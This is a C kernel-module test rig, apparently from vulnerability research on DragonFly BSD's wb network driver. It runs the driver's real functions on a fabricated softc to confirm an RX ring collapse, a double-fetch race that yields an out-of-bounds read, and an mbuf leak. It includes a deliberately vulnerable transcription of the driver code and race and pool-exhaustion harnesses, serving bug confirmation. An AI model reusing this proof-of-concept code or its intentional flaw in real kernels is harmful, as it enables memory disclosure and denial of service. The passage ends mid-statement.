/*
 * dfwb3_rig.c — combined production-handler KLD dispatch rig for
 *               DF-4267 / DF-4268 / DF-4270 (sys/dev/netif/wb/if_wb.c)
 *
 * Built on the DF-4266 rig (findings/poc/DF-4266/df4266_wb_poc.c), which
 * established the method: the guest kernel is built with `device wb'
 * (X86_64_GENERIC:246), so the driver's REAL static functions live in the
 * running kernel image; their addresses are resolved from
 * /boot/kernel/kernel via nm(1) and injected through sysctls, and the rig
 * dispatches THE KERNEL'S OWN CODE over a fabricated post-attach softc.
 * Nothing about the code under test is recompiled or modified here.
 *
 * Dispatched production symbols:
 *   wb_rxeof  (:964)  RX completion handler                  [DF-4268]
 *   wb_init   (:1379) initializer — its inlined wb_list_rx_init builds
 *                     the REAL RX ring state                  [DF-4267]
 *   wb_start  (:1298) TX start — ignored wb_encap() return   [DF-4270]
 *   wb_txeof.part.4 (:1047) TX completion (GCC part-clone; single %rdi=sc
 *                     ABI verified against wb_intr's call sites) [DF-4270]
 *   wb_watchdog (:1560) watchdog recovery path               [DF-4270]
 *   wb_stop   (:1583) cleanup
 *   mbstat / mbtypes (static mbuf accounting, uipc_mbuf.c:242/240),
 *                     read for leak accounting               [DF-4270]
 *
 * Scenarios (one sysctl each; the module can run all of them per boot):
 *
 *  go4267 — RX ring collapse (if_wb.c:909 constant-condition ternary).
 *      After the REAL wb_init arms the ring:
 *        (a) dump hardware link words ld->wb_rx_list[i].wb_next and count
 *            software links cd->wb_rx_chain[i].wb_nextdesc — all 64 point
 *            at descriptor 0; distinct descriptors reachable: 1/64
 *            (TX contrast: 128/128);
 *        (b) behavioural: a completed frame in slot 0 processed by the
 *            fixed-OWN comparator leaves wb_rx_head AT slot 0 (a correct
 *            ring advances to slot 1); rig-repaired links (simulating the
 *            one-token fix) make the identical state advance to slot 1.
 *
 *  go4268 / go4268ctl — double-fetch of the device-written RX status
 *      word.  The device ("chip") is simulated by a USERLAND toggler
 *      (df8_toggle.c) that rewrites slot0.wb_status through the
 *      kern.dfwb3.tog sysctl with a 4:1 GOOD/HUGE duty cycle, pinned to
 *      a different CPU with usched(8) — no kernel thread is involved
 *      (rig v1 exited an lwkt_create()d thread and corrupted the run
 *      queue; DFly lwkt_create()d threads are not meant to exit).
 *        go4268    races the PRODUCTION wb_rxeof.  Static analysis
 *                  (objdump) shows the length checks (:983/:984) and the
 *                  length use (:1004) merged into ONE load, so no win is
 *                  expected — the run is the empirical proof.
 *        go4268ctl races the EXACT-SEMANTICS transcription of the source
 *                  fetch pattern (snapshot :973, re-reads :983/:984
 *                  checks, re-read :1004 use; volatile forces the four
 *                  DISTINCT fetches the source spells out).  A win here
 *                  where the binary does not win proves both the harness
 *                  and that the source pattern is exploitable as
 *                  written — the shipped kernel being safe only by
 *                  accidental compiler load-merging.  Error branch:
 *                  same as source except the reset storm is elided
 *                  (it only burns ~60 ms; the fetch window is upstream).
 *
 *  go4270 — wb_start ignores wb_encap() failure (if_wb.c:1327).
 *      Drain the cluster pool (MGETHDR+MCLGET until MCLGET fails) so the
 *      production wb_start's inlined wb_encap takes the MCLGET-failure
 *      path on a 17-mbuf (16-fragment-overflow) chain, then observe on
 *      production state:
 *        - the dequeued packet chain is leaked (mbtypes accounting shows
 *          +17 mbufs outstanding; descriptor wb_mbuf NULL; queue empty);
 *        - the half-programmed descriptor is ARMED and TXSTART issued
 *          (frag[0] OWN-set, frags 1..15 OWN-set, no LASTFRAG anywhere,
 *          frag[15].wb_next one-past-the-array);
 *        - the REAL wb_txeof.part.4 cannot advance (head->wb_mbuf == NULL
 *          stops the :1062 walk immediately);
 *        - the REAL wb_watchdog recovers the interface but the leaked
 *          mbufs remain leaked;
 *      then rig cleanup (free the chain from the saved pointer, release
 *      the drained clusters) restores the accounting — guest left clean.
 *
 * Usage (root):
 *   kldload ./dfwb3_rig.ko
 *   sysctl -w kern.dfwb3.rxeof=0x$(nm /boot/kernel/kernel|awk '/ t wb_rxeof$/{print $1}')
 *   sysctl -w kern.dfwb3.init=0x$(nm  /boot/kernel/kernel|awk '/ t wb_init$/{print $1}')
 *   sysctl -w kern.dfwb3.stop=0x$(nm  /boot/kernel/kernel|awk '/ t wb_stop$/{print $1}')
 *   sysctl -w kern.dfwb3.start=0x$(nm /boot/kernel/kernel|awk '/ t wb_start$/{print $1}')
 *   sysctl -w kern.dfwb3.txeof=0x$(nm /boot/kernel/kernel|awk '/ t wb_txeof.part.4$/{print $1}')
 *   sysctl -w kern.dfwb3.watchdog=0x$(nm /boot/kernel/kernel|awk '/ t wb_watchdog$/{print $1}')
 *   sysctl -w kern.dfwb3.mbstat=0x$(nm /boot/kernel/kernel|awk '/ b mbstat$/{print $1}')
 *   sysctl -w kern.dfwb3.mbtypes=0x$(nm /boot/kernel/kernel|awk '/ b mbtypes$/{print $1}')
 *   sysctl -w kern.dfwb3.go4267=1
 *   sysctl -w kern.dfwb3.go4270=1
 *   # DF-4268 races (toggler on another CPU, e.g. CPU 3):
 *   usched -p 3 ./df8_toggle &      # then:
 *   sysctl -w kern.dfwb3.go4268=1   # (or go4268ctl)
 *   kill %1
 */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/serialize.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/callout.h>
#include <sys/thread.h>
#include <sys/globaldata.h>

#include <sys/bus.h>
#include <sys/bus_private.h>	/* struct bsd_device: fake miibus stand-in */
#include <machine/bus_dma.h>	/* X86_64_BUS_SPACE_MEM */

#include <vm/vm.h>
#include <vm/pmap.h>		/* vtophys */

#include <net/if.h>
#include <net/if_arp.h>
#include <net/if_var.h>
#include <net/ifq_var.h>
#include <net/if_media.h>
#include <net/ethernet.h>

#include <dev/netif/mii_layer/mii.h>
#include <dev/netif/mii_layer/miivar.h>

#include <dev/netif/wb/if_wbreg.h>

/* ------------------------------------------------------------------ */
/* REAL kernel symbols, resolved from /boot/kernel/kernel via nm(1)    */
/* ------------------------------------------------------------------ */
static void (*p_wb_rxeof)(struct wb_softc *);
static void (*p_wb_init)(void *);
static void (*p_wb_stop)(struct wb_softc *);
static void (*p_wb_start)(struct ifnet *, struct ifaltq_subque *);
static void (*p_wb_txeof)(struct wb_softc *);		/* wb_txeof.part.4 */
static void (*p_wb_watchdog)(struct ifnet *);

static struct mbstat *p_mbstat;		/* [SMP_MAXCPU] __cachealign */
struct df_mbtypes_stat {			/* uipc_mbuf.c:236-238 */
	u_long	stats[MT_NTYPES];
} __attribute__((__aligned__(64)));
static struct df_mbtypes_stat *p_mbtypes;	/* [SMP_MAXCPU] */

SYSCTL_NODE(_kern, OID_AUTO, dfwb3, CTLFLAG_RW, 0, "DF wb rig 4267/4268/4270");

/* hex-string address injection (values live above INT64_MAX) */
static int
df_sysctl_addr(SYSCTL_HANDLER_ARGS, void **target)
{
	char buf[32];
	const char *s;
	int error, len;

	ksnprintf(buf, sizeof(buf), "0x%016llx",
	    (unsigned long long)(uintptr_t)*target);
	error = SYSCTL_OUT(req, buf, strlen(buf) + 1);
	if (error || req->newptr == NULL)
		return (error);
	len = req->newlen - req->newidx;
	if (len >= (int)sizeof(buf))
		return (EINVAL);
	error = SYSCTL_IN(req, buf, len);
	if (error)
		return (error);
	buf[len] = '\0';
	s = buf;
	if (s[0] == '0' && (s[1] == 'x' || s[1] == 'X'))
		s += 2;
	*target = (void *)(uintptr_t)strtoul(s, NULL, 16);
	return (0);
}

#define DF_ADDR_SYSCTL(name, var, descr)				\
static int								\
df_sysctl_##name(SYSCTL_HANDLER_ARGS)					\
{									\
	return (df_sysctl_addr(oidp, arg1, arg2, req, (void **)&var));	\
}									\
SYSCTL_PROC(_kern_dfwb3, OID_AUTO, name,				\
    CTLTYPE_STRING | CTLFLAG_RW, NULL, 0, df_sysctl_##name, "A", descr);

DF_ADDR_SYSCTL(rxeof, p_wb_rxeof, "kernel address of static wb_rxeof() (hex)")
DF_ADDR_SYSCTL(init,  p_wb_init,  "kernel address of static wb_init() (hex)")
DF_ADDR_SYSCTL(stop,  p_wb_stop,  "kernel address of static wb_stop() (hex)")
DF_ADDR_SYSCTL(start, p_wb_start, "kernel address of static wb_start() (hex)")
DF_ADDR_SYSCTL(txeof, p_wb_txeof, "kernel address of wb_txeof.part.4 (hex)")
DF_ADDR_SYSCTL(watchdog, p_wb_watchdog, "kernel address of wb_watchdog (hex)")
DF_ADDR_SYSCTL(mbstat, p_mbstat, "kernel address of mbstat[] (hex)")
DF_ADDR_SYSCTL(mbtypes, p_mbtypes, "kernel address of mbtypes[] (hex)")

/* ------------------------------------------------------------------ */
/* Static rig state — module .bss, never freed                         */
/* ------------------------------------------------------------------ */
static struct wb_softc df_sc;
static struct wb_list_data df_ldata;
static struct mii_data df_mii;			/* zeroed: empty phys list */
static struct bsd_device df_miibus_dev;	/* .softc = &df_mii */
static uint32_t df_mmio[PAGE_SIZE / 4]
    __attribute__((__aligned__(PAGE_SIZE)));	/* MMIO BAR stand-in */
static struct lwkt_serialize df_ser;
static struct ifdata_pcpu df_ifdata[64];
static struct ifaltq_subque df_subq __attribute__((__aligned__(64)));

static int df_delivered;			/* if_input sink counter */

/* ---- DF-4268 win capture + userland "chip" interface ---- */
static int df8_won;				/* oversized delivery seen */
static int df8_won_by_prod;			/* 1 = production handler */
static int df8_maxplen;			/* max pkthdr.len delivered */
static int df8_prod_mode;		/* df_input attribution */
static uint32_t *df8_slot;			/* &rx_list[0].wb_status */
static int df8_dloop = 250;		/* dispatch cap (sysctl-tunable) */
#define DF8_MARKER	"DF4268-OOBREAD!"
#define DF8_MLEN	15

SYSCTL_INT(_kern_dfwb3, OID_AUTO, dloop, CTLFLAG_RW, &df8_dloop, 0,
    "dispatch cap for the DF-4268 races");

/*
 * kern.dfwb3.tog — the userland "chip" write path: stores a raw status
 * word into rx_list[0].wb_status (the value the NIC would DMA).  The
 * toggler passes the value as a SIGNED int (e.g. -1011874048 for
 * 0xFFFF0300) because sysctl ints are signed.
 */
static int
df_sysctl_tog(SYSCTL_HANDLER_ARGS)
{
	int error, v = 0;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	if (df8_slot != NULL)
		*df8_slot = (uint32_t)v;
	return (0);
}
SYSCTL_PROC(_kern_dfwb3, OID_AUTO, tog,
    CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df_sysctl_tog, "I",
    "write a raw wb_status word into rx_list[0] (the 'chip')");

static u_long
df_stat(size_t off)
{
	u_long v = 0;
	int i;

	for (i = 0; i < 64; i++)
		v += *(u_long *)((char *)&df_ifdata[i] + off);
	return (v);
}
#define DF_STAT(f)	df_stat(__offsetof(struct ifdata_pcpu, f))

/* mbuf accounting (per-CPU arrays, cache-line strided) */
#define DF_MBSTRIDE	(roundup2(sizeof(struct mbstat), 64))
static u_long
df_mbt_total(int type)
{
	u_long v = 0;
	int i;

	if (p_mbtypes == NULL)
		return ((u_long)-1);
	for (i = 0; i < ncpus; i++)
		v += p_mbtypes[i].stats[type];
	return (v);
}

static u_long
df_drops_total(void)
{
	u_long v = 0;
	int i;

	if (p_mbstat == NULL)
		return ((u_long)-1);
	for (i = 0; i < ncpus; i++)
		v += ((struct mbstat *)((char *)p_mbstat +
		    i * DF_MBSTRIDE))->m_drops;
	return (v);
}

/*
 * Production if_input stand-in: record and describe the delivered chain,
 * then consume it exactly as the network stack eventually would.
 * DF-4268: any packet with pkthdr.len > 1536 is a check/use-divergence
 * WIN — dump the evidence (marker offset + boundary hexdump).
 */
static void
df_input(struct ifnet *ifp, struct mbuf *m, const struct pktinfo *pi,
    int cpuid)
{
	uint8_t *p = mtod(m, uint8_t *);
	int plen = m->m_pkthdr.len;

	if (plen > df8_maxplen)
		df8_maxplen = plen;

	if (plen > 1536) {
		struct mbuf *x;
		int off = 0, i;

		df8_won = 1;
		df8_won_by_prod = df8_prod_mode;

		kprintf("dfwb3: *** OVERSIZED DELIVERY: m=%p pkthdr.len=%d "
		    "(> 1536 max legal RX len) by %s handler ***\n",
		    m, plen, df8_prod_mode ? "PRODUCTION" : "transcription");
		kprintf("dfwb3: segments:");
		for (x = m, i = 0; x != NULL && i < 12; x = x->m_next, i++)
			kprintf(" [%d]", x->m_len);
		kprintf("\n");

		/* locate the OOB marker in the delivered bytes */
		for (x = m; x != NULL; off += x->m_len, x = x->m_next) {
			int n = x->m_len - DF8_MLEN;

			for (i = 0; i <= n; i++) {
				if (bcmp(mtod(x, caddr_t) + i,
				    DF8_MARKER, DF8_MLEN) == 0) {
					kprintf("dfwb3: OOB marker %s found "
					    "at packet offset %d — content "
					    "from %d bytes PAST the 4096-byte "
					    "armed RX buffer was copied into "
					    "the received frame\n",
					    DF8_MARKER, off + i,
					    (off + i) - (4096 - 6));
					break;
				}
			}
		}

		/* hexdump across the armed-buffer-0 boundary */
		kprintf("dfwb3: boundary hexdump, packet offsets "
		    "4080..4175 (armed 4096-byte buffer ends at packet "
		    "offset 4090):\n");
		{
			struct mbuf *y = m;
			uint8_t *d;
			int pos = 0;

			while (y != NULL) {
				d = mtod(y, uint8_t *);
				for (i = 0; i < y->m_len; i++, pos++) {
					if (pos >= 4080 && pos < 4176) {
						if ((pos - 4080) % 16 == 0)
							kprintf("  %06x:", pos);
						kprintf(" %02x", d[i]);
						if ((pos - 4080) % 16 == 15)
							kprintf("\n");
					}
				}
				y = y->m_next;
			}
		}
	} else if (m->m_len >= 18 && df_delivered < 5) {
		kprintf("dfwb3: if_input: m=%p m_len=%d pkthdr.len=%d "
		    "dst=%02x:%02x:%02x:%02x:%02x:%02x type=%02x%02x "
		    "(further normal deliveries suppressed in log)\n",
		    m, m->m_len, plen,
		    p[0], p[1], p[2], p[3], p[4], p[5], p[12], p[13]);
	} else if (m->m_len < 18 && df_delivered < 5) {
		kprintf("dfwb3: if_input: m=%p m_len=%d\n", m, m->m_len);
	}
	df_delivered++;
	m_freem(m);
}

/* ================================================================== */
/* DF-4267 comparator — verbatim wb_rxeof with the DF-4266 fix line    */
/* (loop breaks on OWN-set, as the FreeBSD original does).  NOT the    */
/* code under test: it isolates the ring-topology variable while the   */
/* stock kernel's inverted loop (DF-4266) would mask frame processing. */
/* ================================================================== */
static void
df_wb_bfree(void *arg)
{
}

static int
df_wb_newbuf(struct wb_softc *sc, struct wb_chain_onefrag *c, struct mbuf *m)
{
	struct mbuf *m_new = NULL;

	if (m == NULL) {
		MGETHDR(m_new, M_NOWAIT, MT_DATA);
		if (m_new == NULL)
			return(ENOBUFS);

		m_new->m_data = m_new->m_ext.ext_buf = c->wb_buf;
		m_new->m_flags |= M_EXT;
		m_new->m_ext.ext_size = m_new->m_pkthdr.len =
		    m_new->m_len = WB_BUFBYTES;
		m_new->m_ext.ext_free = df_wb_bfree;
		m_new->m_ext.ext_ref = df_wb_bfree;
	} else {
		m_new = m;
		m_new->m_len = m_new->m_pkthdr.len = WB_BUFBYTES;
		m_new->m_data = m_new->m_ext.ext_buf;
	}

	m_adj(m_new, sizeof(uint64_t));

	c->wb_mbuf = m_new;
	c->wb_ptr->wb_data = vtophys(mtod(m_new, caddr_t));
	c->wb_ptr->wb_ctl = WB_RXCTL_RLINK | 1536;
	c->wb_ptr->wb_status = WB_RXSTAT;

	return(0);
}

static void
df_wb_rxeof_fixedown(struct wb_softc *sc)
{
	struct ifnet *ifp = &sc->arpcom.ac_if;
	struct mbuf *m, *m0;
	struct wb_chain_onefrag *cur_rx;
	int total_len = 0;
	uint32_t rxstat;

	for (;;) {
		rxstat = sc->wb_cdata.wb_rx_head->wb_ptr->wb_status;
		if (rxstat & WB_RXSTAT_OWN)		/* DF-4266 fix line */
			break;

		cur_rx = sc->wb_cdata.wb_rx_head;
		sc->wb_cdata.wb_rx_head = cur_rx->wb_nextdesc;

		m = cur_rx->wb_mbuf;

		if ((rxstat & WB_RXSTAT_MIIERR) ||
		    (WB_RXBYTES(rxstat) < WB_MIN_FRAMELEN) ||
		    (WB_RXBYTES(rxstat) > 1536) ||
		    (rxstat & WB_RXSTAT_LASTFRAG) == 0 ||
		    (rxstat & WB_RXSTAT_RXCMP) == 0) {
			IFNET_STAT_INC(ifp, ierrors, 1);
			df_wb_newbuf(sc, cur_rx, m);
			kprintf("dfwb3: comparator: babble branch "
			    "(unexpected in DF-4267 scenario)\n");
			return;
		}

		if (rxstat & WB_RXSTAT_RXERR) {
			IFNET_STAT_INC(ifp, ierrors, 1);
			df_wb_newbuf(sc, cur_rx, m);
			break;
		}

		total_len = WB_RXBYTES(rxstat);
		total_len -= ETHER_CRC_LEN;

		m0 = m_devget(mtod(m, char *) - ETHER_ALIGN,
			      total_len + ETHER_ALIGN, 0, ifp);
		df_wb_newbuf(sc, cur_rx, m);
		if (m0 == NULL) {
			IFNET_STAT_INC(ifp, ierrors, 1);
			break;
		}
		m_adj(m0, ETHER_ALIGN);
		m = m0;

		IFNET_STAT_INC(ifp, ipackets, 1);
		ifp->if_input(ifp, m, NULL, -1);
	}
}

/* ================================================================== */
/* DF-4268 control: EXACT-SEMANTICS transcription of the source fetch  */
/* pattern — snapshot :973, re-reads :983/:984 (checks), re-read :1004 */
/* (use).  volatile forces the four DISTINCT fetches the source spells */
/* out (the shipped binary merges :983/:984/:1004 into one load).      */
/* ================================================================== */
static void
df8_vuln_rxeof(struct wb_softc *sc)
{
	struct ifnet *ifp = &sc->arpcom.ac_if;
	struct mbuf *m, *m0;
	struct wb_chain_onefrag *cur_rx;
	int total_len = 0;
	uint32_t rxstat;
	volatile uint32_t *st;

	for (;;) {
		st = &sc->wb_cdata.wb_rx_head->wb_ptr->wb_status;
		rxstat = *st;					/* :973 */
		if ((rxstat & WB_RXSTAT_OWN) == 0)		/* stock */
			break;

		cur_rx = sc->wb_cdata.wb_rx_head;
		sc->wb_cdata.wb_rx_head = cur_rx->wb_nextdesc;

		m = cur_rx->wb_mbuf;

		if ((rxstat & WB_RXSTAT_MIIERR) ||
		    (WB_RXBYTES(*st) < WB_MIN_FRAMELEN) ||	/* :983 */
		    (WB_RXBYTES(*st) > 1536) ||			/* :984 */
		    (rxstat & WB_RXSTAT_LASTFRAG) == 0 ||
		    (rxstat & WB_RXSTAT_RXCMP) == 0) {
			IFNET_STAT_INC(ifp, ierrors, 1);
			df_wb_newbuf(sc, cur_rx, m);
			return;		/* reset storm elided (documented) */
		}

		if (rxstat & WB_RXSTAT_RXERR) {
			IFNET_STAT_INC(ifp, ierrors, 1);
			df_wb_newbuf(sc, cur_rx, m);
			break;
		}

		total_len = WB_RXBYTES(*st);			/* :1004 USE */

		total_len -= ETHER_CRC_LEN;

		m0 = m_devget(mtod(m, char *) - ETHER_ALIGN,
			      total_len + ETHER_ALIGN, 0, ifp);
		df_wb_newbuf(sc, cur_rx, m);
		if (m0 == NULL) {
			IFNET_STAT_INC(ifp, ierrors, 1);
			break;
		}
		m_adj(m0, ETHER_ALIGN);
		m = m0;

		IFNET_STAT_INC(ifp, ipackets, 1);
		ifp->if_input(ifp, m, NULL, -1);
	}
}

/* ------------------------------------------------------------------ */
/* Shared fabrication (proven by DF-4266)                              */
/* ------------------------------------------------------------------ */
static void
df_ring_probe(const char *tag)
{
	struct wb_chain_onefrag *c0 = &df_sc.wb_cdata.wb_rx_chain[0];
	uint32_t st = c0->wb_ptr->wb_status;

	kprintf("dfwb3: [%s] head==chain0:%d slot0.status=%#010x OWN:%d "
	    "RXLEN:%u mbuf=%p\n",
	    tag, df_sc.wb_cdata.wb_rx_head == c0, st,
	    !!(st & WB_RXSTAT_OWN), WB_RXBYTES(st), c0->wb_mbuf);
}

static uint8_t df_frame[64];

static void
df_craft_frame(void)
{
	struct mbuf *m = df_sc.wb_cdata.wb_rx_chain[0].wb_mbuf;
	int i;

	for (i = 0; i < ETHER_ADDR_LEN; i++)
		df_frame[i] = 0xFF;
	df_frame[6] = 0x00; df_frame[7] = 0xDF; df_frame[8] = 0x42;
	df_frame[9] = 0x67; df_frame[10] = 0x00; df_frame[11] = 0x01;
	df_frame[12] = 0xDF; df_frame[13] = 0x67;
	for (i = 14; i < 60; i++)
		df_frame[i] = (uint8_t)i;
	df_frame[60] = 0xDE; df_frame[61] = 0xAD;
	df_frame[62] = 0xBE; df_frame[63] = 0xEF;

	bcopy(df_frame, mtod(m, uint8_t *), sizeof(df_frame));
}

static int
df_setup(void)
{
	struct ifnet *ifp = &df_sc.arpcom.ac_if;

	bzero(df_mmio, sizeof(df_mmio));
	bzero(df_ifdata, sizeof(df_ifdata));

	callout_init(&df_sc.wb_stat_timer);
	lwkt_serialize_init(&df_ser);

	df_miibus_dev.softc = &df_mii;

	df_sc.wb_miibus = &df_miibus_dev;
	df_sc.wb_ldata = &df_ldata;
	df_sc.wb_cachesize = 0;
	df_sc.wb_btag = (bus_space_tag_t)X86_64_BUS_SPACE_MEM;
	df_sc.wb_bhandle = (bus_space_handle_t)(uintptr_t)df_mmio;

	strlcpy(ifp->if_xname, "dfwb0", sizeof(ifp->if_xname));
	ifp->if_softc = &df_sc;
	ifp->if_serializer = &df_ser;
	ifp->if_input = df_input;
	ifp->if_data_pcpu = df_ifdata;
	ifp->if_flags = IFF_UP | IFF_BROADCAST | IFF_SIMPLEX |
	    IFF_MULTICAST | IFF_RUNNING;

	ifp->if_snd.altq_subq_cnt = 1;
	ifp->if_snd.altq_subq = &df_subq;
	ifp->if_snd.altq_ifp = ifp;
	ifp->if_snd.altq_maxlen = WB_TX_LIST_CNT - 1;
	lwkt_serialize_init(&df_subq.ifsq_lock);
	df_subq.ifsq_index = 0;
	df_subq.ifsq_altq = &ifp->if_snd;
	df_subq.ifsq_ifp = ifp;
	df_subq.ifsq_maxlen = ifp->if_snd.altq_maxlen;
	df_subq.ifsq_maxbcnt = df_subq.ifsq_maxlen * MCLBYTES;
	df_subq.ifsq_enqueue = ifsq_classic_enqueue;
	df_subq.ifsq_dequeue = ifsq_classic_dequeue;
	df_subq.ifsq_request = ifsq_classic_request;
	ifq_set_ready(&ifp->if_snd);

	kprintf("dfwb3: layout: sizeof(wb_softc)=%#zx if_timer=%#zx "
	    "bhandle=%#zx btag=%#zx ldata=%#zx rx_chain0=%#zx "
	    "stat_timer=%#zx snd.altq_subq=%#zx\n",
	    sizeof(struct wb_softc),
	    __offsetof(struct wb_softc, arpcom.ac_if.if_timer),
	    __offsetof(struct wb_softc, wb_bhandle),
	    __offsetof(struct wb_softc, wb_btag),
	    __offsetof(struct wb_softc, wb_ldata),
	    __offsetof(struct wb_softc, wb_cdata.wb_rx_chain[0]),
	    __offsetof(struct wb_softc, wb_stat_timer),
	    __offsetof(struct wb_softc, arpcom.ac_if.if_snd.altq_subq));
	return (0);
}

static void
df4267_fill_markers(void)
{
	/* DF-4268 marker fill over all RX buffers (slot-0 frame overwrites) */
	int i, s;

	for (i = 0; i < WB_RX_LIST_CNT; i++) {
		uint8_t *b = (uint8_t *)&df_ldata.wb_rxbufs[i];

		for (s = 0; s < WB_BUFBYTES - DF8_MLEN; s += DF8_MLEN)
			bcopy(DF8_MARKER, b + s, DF8_MLEN);
	}
}

/* ================================================================== */
/* DF-4267 — RX ring collapse                                          */
/* ================================================================== */
static void
df_phase_4267(void)
{
	struct wb_softc *sc = &df_sc;
	uint32_t next0 = (uint32_t)vtophys(&df_ldata.wb_rx_list[0]);
	int i, distinct, collapsed = 1;

	kprintf("dfwb3: === DF-4267: ring built by the REAL wb_init "
	    "(inlined wb_list_rx_init, if_wb.c:894-917) ===\n");

	bzero(df_mmio, sizeof(df_mmio));
	p_wb_init(sc);

	kprintf("dfwb3: hardware links ld->wb_rx_list[i].wb_next "
	    "(a closed ring would link i -> i+1, 63 -> 0):\n");
	for (i = 0; i < WB_RX_LIST_CNT; i += 8)
		kprintf("dfwb3:   wb_rx_list[%2d].wb_next = %#010x %s\n", i,
		    df_ldata.wb_rx_list[i].wb_next,
		    df_ldata.wb_rx_list[i].wb_next == next0 ? "<- desc 0" : "");
	for (i = 0; i < WB_RX_LIST_CNT; i++)
		if (df_ldata.wb_rx_list[i].wb_next != next0)
			collapsed = 0;
	kprintf("dfwb3:   => %d/64 hardware wb_next words point at "
	    "descriptor 0 (vtophys(&wb_rx_list[0])=%#x)\n",
	    collapsed ? 64 : -1, next0);

	/* software-side distinct-descriptor walk from wb_rx_head */
	{
		struct wb_chain_onefrag *c = sc->wb_cdata.wb_rx_head;
		uint8_t seen[WB_RX_LIST_CNT];
		int steps = 0;

		bzero(seen, sizeof(seen));
		while (steps < 2 * WB_RX_LIST_CNT) {
			int idx = c - &sc->wb_cdata.wb_rx_chain[0];

			if (seen[idx]++)
				break;
			c = c->wb_nextdesc;
			steps++;
		}
		distinct = 0;
		for (i = 0; i < WB_RX_LIST_CNT; i++)
			distinct += !!seen[i];
		kprintf("dfwb3: software walk from wb_rx_head: distinct "
		    "descriptors reachable = %d / %d (returned to a visited "
		    "descriptor after %d hops)\n",
		    distinct, WB_RX_LIST_CNT, steps);
	}

	/* TX contrast (the correct twin, if_wb.c:878) */
	{
		struct wb_chain *c = &sc->wb_cdata.wb_tx_chain[0];
		uint8_t seen[WB_TX_LIST_CNT];
		int steps = 0;

		bzero(seen, sizeof(seen));
		while (steps < 2 * WB_TX_LIST_CNT) {
			int idx = c - &sc->wb_cdata.wb_tx_chain[0];

			if (seen[idx]++)
				break;
			c = c->wb_nextdesc;
			steps++;
		}
		distinct = 0;
		for (i = 0; i < WB_TX_LIST_CNT; i++)
			distinct += !!seen[i];
		kprintf("dfwb3: TX contrast: distinct descriptors reachable "
		    "from wb_tx_free = %d / %d (the :878 twin is correct)\n",
		    distinct, WB_TX_LIST_CNT);
	}

	/* behavioural: completed frame in slot 0, fixed-OWN comparator */
	{
		uint32_t crafted = WB_RXSTAT_RXCMP | WB_RXSTAT_LASTFRAG |
		    WB_RXSTAT_FIRSTFRAG | (64 << 16);		/* OWN=0 */

		bzero(df_ifdata, sizeof(df_ifdata));
		df_delivered = 0;
		df_craft_frame();
		df_ldata.wb_rx_list[0].wb_status = crafted;
		df_ring_probe("4267-crafted");
		df_wb_rxeof_fixedown(sc);
		kprintf("dfwb3: after processing the completed frame: "
		    "delivered=%d head==chain0:%d head==chain1:%d — a "
		    "correct ring advances head to chain[1]\n",
		    df_delivered,
		    sc->wb_cdata.wb_rx_head == &sc->wb_cdata.wb_rx_chain[0],
		    sc->wb_cdata.wb_rx_head ==
		      &sc->wb_cdata.wb_rx_chain[1]);

		if (df_delivered == 1 &&
		    sc->wb_cdata.wb_rx_head == &sc->wb_cdata.wb_rx_chain[0])
			kprintf("dfwb3: *** DF-4267 CONFIRMED (behavioural): "
			    "the ring re-enters descriptor 0 — the driver can "
			    "never advance past slot 0; 63/64 pre-armed RX "
			    "buffers unreachable ***\n");
	}

	/* counterfactual A/B: rig-repair ONLY the link words (the fix) */
	{
		uint32_t crafted = WB_RXSTAT_RXCMP | WB_RXSTAT_LASTFRAG |
		    WB_RXSTAT_FIRSTFRAG | (64 << 16);
		int k;

		bzero(df_ifdata, sizeof(df_ifdata));
		df_delivered = 0;
		p_wb_init(sc);		/* rebuild production state */
		for (k = 0; k < WB_RX_LIST_CNT; k++)
			sc->wb_cdata.wb_rx_chain[k].wb_nextdesc =
			    &sc->wb_cdata.wb_rx_chain[(k + 1) % WB_RX_LIST_CNT];

		df_craft_frame();
		df_ldata.wb_rx_list[0].wb_status = crafted;
		df_wb_rxeof_fixedown(sc);
		kprintf("dfwb3: A/B with ONE-TOKEN-FIXED links (simulated "
		    "fix.diff): delivered=%d head==chain1:%d — the identical "
		    "state now advances past slot 0\n",
		    df_delivered,
		    sc->wb_cdata.wb_rx_head ==
		      &sc->wb_cdata.wb_rx_chain[1]);
		if (df_delivered >= 1 && sc->wb_cdata.wb_rx_head ==
		    &sc->wb_cdata.wb_rx_chain[1])
			kprintf("dfwb3: *** DF-4267 A/B: only the link words "
			    "differ — the collapse is the ternary at "
			    "if_wb.c:909 ***\n");
	}

	/* chip-restart view: RXADDR is always descriptor 0 */
	kprintf("dfwb3: MMIO WB_RXADDR=%#010x (== vtophys(&wb_rx_list[0]): "
	    "%s) — every RX (re)start fetches descriptor 0; with all wb_next "
	    "words pointing back to 0 the chip suspends after ONE frame "
	    "(per-frame RX restart, wb_intr:1137/wb_rxeoc:1030)\n",
	    df_mmio[WB_RXADDR / 4],
	    df_mmio[WB_RXADDR / 4] == next0 ? "YES" : "no");

	callout_stop(&sc->wb_stat_timer);
}

/* ================================================================== */
/* DF-4268 — double-fetch race                                         */
/* Userland "chip": kern.dfwb3.tog writer (df8_toggle, µs period).     */
/* Kernel "chip": a toggle thread at ns store-to-store rate, pinned    */
/* to a spare CPU, that NEVER EXITS (rig v1 taught us lwkt_create()d  */
/* threads must not exit: doing so corrupted the run queue -> panic). */
/* After the race it parks in tsleep() forever, holding only its stack.*/
/* ================================================================== */
static volatile int df8k_run;
static void *df8k_park;

static void
df8k_toggle_thread(void *arg)
{
	uint32_t good = 0xC0400300u;
	uint32_t huge = 0xFFFF0300u;
	uint32_t *slot = arg;

	while (df8k_run) {
		int i;

		for (i = 0; i < 4; i++)
			*slot = good;
		*slot = huge;
	}
	/* park forever — never lwkt_exit() */
	for (;;)
		tsleep(&df8k_park, 0, "df8park", 0);
}

static void
df_phase_4268(int use_production)
{
	struct wb_softc *sc = &df_sc;
	struct timeval t0, t1;
	struct thread *td = NULL;
	int i, kernchip = 0;

	df8_won = df8_won_by_prod = 0;
	df8_maxplen = 0;
	df8_prod_mode = use_production;
	df_delivered = 0;

	kprintf("dfwb3: === DF-4268: race the %s handler — the 'chip' "
	    "rewrites slot0.wb_status GOOD(0x%08x/len64) <-> "
	    "HUGE(0x%08x/len16383), both OWN=1 (mid-write-back transient) "
